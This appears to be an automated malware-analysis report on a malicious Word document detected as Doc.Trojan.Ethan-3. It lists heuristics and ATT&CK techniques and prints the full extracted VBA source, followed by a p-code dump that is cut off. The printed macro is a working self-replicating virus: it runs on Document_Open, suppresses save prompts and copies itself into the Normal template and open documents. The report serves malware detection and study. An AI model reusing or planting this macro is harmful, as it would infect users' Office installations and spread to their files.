MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro. The macro is triggered by the Document_Open event and attempts to write its code to a temporary file and then to the Normal template and the active document. This behavior suggests an attempt to establish persistence or prepare for further execution stages. The ClamAV detection as 'Doc.Trojan.Ethan-3' further supports its malicious nature.
Heuristics 3
-
ClamAV: Doc.Trojan.Ethan-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7773 bytes |
SHA-256: c8f92fe1243711031c86903d42aedc174f0b579b983041514a16011cc76643c3 |
|||
|
Detection
ClamAV:
Doc.Trojan.Ethan-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next
Application.EnableCancelKey = wdCancelDisabled
With Options:
Set prevDocument = NormalTemplate
Set nextDocument = NewDocument
.SaveNormalPrompt = False:
.SavePropertiesPrompt = False:
End With
s = ActiveDocument.Saved
sName = "c:\evolve.tmp"
sFunc = "Private Sub Document_Open()"
Found = False
If Dir(sName) <> "" Then Kill sName
Open sName For Output As #1
For i = 0 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
If Found = False And (a = sFunc) Then Found = True
If a <> "" And Found = True Then Print #1, a
If a = "End Sub" And Found = True Then Found = False
Next i
Close #1
j = 1
k = 1
t = 0
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set nml = NormalTemplate.VBProject.VBComponents.Item(1)
t = t + 1
End If
If ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> sFunc Then
Set atv = ActiveDocument.VBProject.VBComponents.Item(1)
t = t + 2
End If
If t > 0 Then
Open sName For Input As #1
If LOF(1) = 0 Then GoTo quit
i = 1
Do While Not EOF(1)
Line Input #1, a
If t = 1 Or t = 3 Then
nml.CodeModule.InsertLines j, a
j = j + 1
End If
If t = 2 Or t = 3 Then
atv.CodeModule.InsertLines k, a
k = k + 1
End If
Loop
quit:
Close #1
End If
With Dialogs(wdDialogFileSumaryInfo):
.Title = "Ethan Frome":
.Author = "EW/LN/CB":
.Keywrds = "Ethan":
.Execute:
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
Kill sName
Application.EnableCancelKey = wdCancelInterrupt
End Sub
' Processing file: /opt/analyzer/scan_staging/710d9765c97141c78f8638c547c7357e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3952 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' OnError (Resume Next)
' Line #2:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #3:
' StartWithExpr
' Ld Options
' With
' BoS 0x0000
' Line #4:
' SetStmt
' Ld NormalTemplate
' Set prevDocument
' Line #5:
' SetStmt
' Ld NewDocument
' Set nextDocument
' Line #6:
' LitVarSpecial (False)
' MemStWith SaveNormalPrompt
' BoS 0x0000
' Line #7:
' LitVarSpecial (False)
' MemStWith SavePropertiesPrompt
' BoS 0x0000
' Line #8:
' EndWith
' Line #9:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #10:
' LitStr 0x000D "c:\evolve.tmp"
' St sName
' Line #11:
' LitStr 0x001B "Private Sub Document_Open()"
' St sFunc
' Line #12:
' LitVarSpecial (False)
' St Found
' Line #13:
' Ld sName
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' Ld sName
' ArgsCall Kill 0x0001
' EndIf
' Line #14:
' Ld sName
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #15:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0000
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #16:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #17:
' Ld Found
' LitVarSpecial (False)
' Eq
' Ld a
' Ld sFunc
' Eq
' Paren
' And
' If
' BoSImplicit
' LitVarSpecial (True)
' St Found
' EndIf
' Line #18:
' Ld a
'
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.